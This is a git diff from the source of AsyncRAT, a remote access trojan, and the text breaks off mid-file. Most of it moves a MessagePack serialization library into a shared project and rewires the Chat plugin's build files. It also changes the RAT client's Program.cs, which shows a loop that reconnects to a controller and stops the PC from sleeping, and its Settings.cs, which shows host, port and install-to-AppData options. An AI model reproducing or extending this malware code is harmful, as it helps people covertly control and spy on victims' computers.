+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Client/MessagePack/MsgPackType.cs deleted file mode 100644 index b0ca5eb..0000000 --- a/AsyncRAT-C#/Client/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Client.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 93c34d3..ef48175 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -9,7 +9,7 @@ using Client.Helper; │ Name : AsyncRAT Simple RAT │ Contact Me : https:github.com/NYAN-x-CAT - This program Is distributed for educational purposes only. + This program is distributed for educational purposes only. */ namespace Client @@ -22,6 +22,7 @@ namespace Client { Thread.Sleep(1000); } + if (!Settings.InitializeSettings()) Environment.Exit(0); try @@ -40,7 +41,6 @@ namespace Client Methods.PreventSleep(); //prevent pc to idle\sleep - //new CheckMiner().GetProcess(); //check miner status } catch { } @@ -51,7 +51,7 @@ namespace Client ClientSocket.Reconnect(); ClientSocket.InitializeClient(); } - Thread.Sleep(new Random().Next(1000, 5000)); + Thread.Sleep(new Random().Next(2000, 5000)); } } } diff --git a/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs index 7b016a5..22dfa08 100644 --- a/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs +++ b/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs @@ -20,7 +20,6 @@ using System.Runtime.InteropServices; [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM -//[assembly: Guid("c3c49f45-2589-4e04-9c50-71b6035c14ae")] // Version information for an assembly consists of the following four values: // diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 6777b88..6dadb7f 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -13,7 +13,7 @@ namespace Client #if DEBUG public static string Ports = "6606"; public static string Hosts = "127.0.0.1"; - public static string Version = "0.5.6A"; + public static string Version = "0.5.6C"; public static string Install = "false"; public static string InstallFolder = "AppData"; public static string InstallFile = "Test.exe"; diff --git a/AsyncRAT-C#/Client/packages.config b/AsyncRAT-C#/Client/packages.config new file mode 100644 index 0000000..b531402 --- /dev/null +++ b/AsyncRAT-C#/Client/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/BytesTools.cs b/AsyncRAT-C#/MessagePack/MessagePack/BytesTools.cs similarity index 98% rename from AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/BytesTools.cs rename to AsyncRAT-C#/MessagePack/MessagePack/BytesTools.cs index bd66e46..128c855 100644 --- a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/BytesTools.cs +++ b/AsyncRAT-C#/MessagePack/MessagePack/BytesTools.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace Plugin.MessagePack +namespace MessagePackLib.MessagePack { public class BytesTools { diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPack.cs b/AsyncRAT-C#/MessagePack/MessagePack/MsgPack.cs similarity index 99% rename from AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPack.cs rename to AsyncRAT-C#/MessagePack/MessagePack/MsgPack.cs index f78f3f1..a8d41f9 100644 --- a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPack.cs +++ b/AsyncRAT-C#/MessagePack/MessagePack/MsgPack.cs @@ -7,7 +7,7 @@ using System.Text; using System.Threading.Tasks; -namespace Plugin.MessagePack +namespace MessagePackLib.MessagePack { public class MsgPackEnum : IEnumerator { diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPackType.cs b/AsyncRAT-C#/MessagePack/MessagePack/MsgPackType.cs similarity index 91% rename from AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPackType.cs rename to AsyncRAT-C#/MessagePack/MessagePack/MsgPackType.cs index 2567ae6..b648b32 100644 --- a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPackType.cs +++ b/AsyncRAT-C#/MessagePack/MessagePack/MsgPackType.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace Plugin.MessagePack +namespace MessagePackLib.MessagePack { public enum MsgPackType { diff --git a/AsyncRAT-C#/Client/MessagePack/ReadTools.cs b/AsyncRAT-C#/MessagePack/MessagePack/ReadTools.cs similarity index 98% rename from AsyncRAT-C#/Client/MessagePack/ReadTools.cs rename to AsyncRAT-C#/MessagePack/MessagePack/ReadTools.cs index 5782829..6138c03 100644 --- a/AsyncRAT-C#/Client/MessagePack/ReadTools.cs +++ b/AsyncRAT-C#/MessagePack/MessagePack/ReadTools.cs @@ -5,7 +5,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace Client.MessagePack +namespace MessagePackLib.MessagePack { class ReadTools { diff --git a/AsyncRAT-C#/Client/MessagePack/WriteTools.cs b/AsyncRAT-C#/MessagePack/MessagePack/WriteTools.cs similarity index 99% rename from AsyncRAT-C#/Client/MessagePack/WriteTools.cs rename to AsyncRAT-C#/MessagePack/MessagePack/WriteTools.cs index 1c6cd5e..6f09496 100644 --- a/AsyncRAT-C#/Client/MessagePack/WriteTools.cs +++ b/AsyncRAT-C#/MessagePack/MessagePack/WriteTools.cs @@ -1,7 +1,7 @@ using System; using System.IO; -namespace Client.MessagePack +namespace MessagePackLib.MessagePack { class WriteTools { diff --git a/AsyncRAT-C#/Client/Algorithm/Zip.cs b/AsyncRAT-C#/MessagePack/MessagePack/Zip.cs similarity index 97% rename from AsyncRAT-C#/Client/Algorithm/Zip.cs rename to AsyncRAT-C#/MessagePack/MessagePack/Zip.cs index 0dad786..eeb9aa5 100644 --- a/AsyncRAT-C#/Client/Algorithm/Zip.cs +++ b/AsyncRAT-C#/MessagePack/MessagePack/Zip.cs @@ -2,7 +2,7 @@ using System.IO; using System.IO.Compression; -namespace Client.Algorithm +namespace MessagePackLib.MessagePack { public static class Zip { diff --git a/AsyncRAT-C#/MessagePack/MessagePackLib.csproj b/AsyncRAT-C#/MessagePack/MessagePackLib.csproj new file mode 100644 index 0000000..6cd7728 --- /dev/null +++ b/AsyncRAT-C#/MessagePack/MessagePackLib.csproj @@ -0,0 +1,52 @@ + + + + + Debug + AnyCPU + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + Library + Properties + MessagePackLib + MessagePackLib + v4.0 + 512 + true + + + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + none + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/MessagePack/Properties/AssemblyInfo.cs b/AsyncRAT-C#/MessagePack/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..22dfa08 --- /dev/null +++ b/AsyncRAT-C#/MessagePack/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj b/AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj index a5fed79..594a930 100644 --- a/AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj @@ -1,5 +1,7 @@  + + Debug @@ -51,20 +53,36 @@ FormChat.cs - - - - - - FormChat.cs + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs index 160d056..712b943 100644 --- a/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/FodyWeavers.xml b/AsyncRAT-C#/Plugin/Chat/Chat/FodyWeavers.xml deleted file mode 100644 index 5029e70..0000000 --- a/AsyncRAT-C#/Plugin/Chat/Chat/FodyWeavers.xml +++ /dev/null @@ -1,3 +0,0 @@ - - - \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/FodyWeavers.xsd b/AsyncRAT-C#/Plugin/Chat/Chat/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/AsyncRAT-C#/Plugin/Chat/Chat/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/FormChat.cs b/AsyncRAT-C#/Plugin/Chat/Chat/FormChat.cs index 57db6ba..43d4a14 100644 --- a/AsyncRAT-C#/Plugin/Chat/Chat/FormChat.cs +++ b/AsyncRAT-C#/Plugin/Chat/Chat/FormChat.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.ComponentModel; diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/ILMerge.props b/AsyncRAT-C#/Plugin/Chat/Chat/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/Chat/Chat/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs index 8a08a81..a1ad06c 100644 --- a/AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Zip.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/Chat/Chat/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - 